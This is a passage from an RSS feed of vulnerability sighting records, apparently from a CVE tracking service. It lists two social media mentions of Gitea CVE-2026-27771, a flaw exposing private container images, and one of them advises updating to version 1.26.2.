      <description>{"uuid": "98a5b13c-5e70-4b2d-a2ca-65e8a39cc6ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27771", "type": "seen", "source": "https://bsky.app/profile/bladews.fosstodon.org.ap.brid.gy/post/3mmwebhvvdwq2", "content": "Gitea CVE-2026-27771: Private Container Images Were Never Private\n\nhttps://byteiota.com/gitea-cve-2026-27771-private-container-images-were-never-private/", "creation_timestamp": "2026-05-28T15:41:20.702207Z"}</description>
      <content:encoded>{"uuid": "98a5b13c-5e70-4b2d-a2ca-65e8a39cc6ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27771", "type": "seen", "source": "https://bsky.app/profile/bladews.fosstodon.org.ap.brid.gy/post/3mmwebhvvdwq2", "content": "Gitea CVE-2026-27771: Private Container Images Were Never Private\n\nhttps://byteiota.com/gitea-cve-2026-27771-private-container-images-were-never-private/", "creation_timestamp": "2026-05-28T15:41:20.702207Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/98a5b13c-5e70-4b2d-a2ca-65e8a39cc6ec/export</guid>
      <pubDate>Thu, 28 May 2026 15:41:20 +0000</pubDate>
    </item>
    <item>
      <title>5608d769-a0df-4f98-8dff-c70f47e953ef</title>
      <link>https://vulnerability.circl.lu/sighting/5608d769-a0df-4f98-8dff-c70f47e953ef/export</link>
      <description>{"uuid": "5608d769-a0df-4f98-8dff-c70f47e953ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://bsky.app/profile/technoholic.bsky.social/post/3mmwdnbqbrc2j", "content": "Security flaw in Gitea (CVE-2026-27771) allows unauthenticated remote attackers to access private container images\u2014affects all versions before 1.26.2. Update now!", "creation_timestamp": "2026-05-28T15:29:56.553835Z"}</description>
      <content:encoded>{"uuid": "5608d769-a0df-4f98-8dff-c70f47e953ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://bsky.app/profile/technoholic.bsky.social/post/3mmwdnbqbrc2j", "content": "Security flaw in Gitea (CVE-2026-27771) allows unauthenticated remote attackers to access private container images\u2014affects all versions before 1.26.2. Update now!", "creation_timestamp": "2026-05-28T15:29:56.553835Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/5608d769-a0df-4f98-8dff-c70f47e953ef/export</guid>
      <pubDate>Thu, 28 May 2026 15:29:56 +0000</pubDate>
    </item>
  </channel>
</rss>
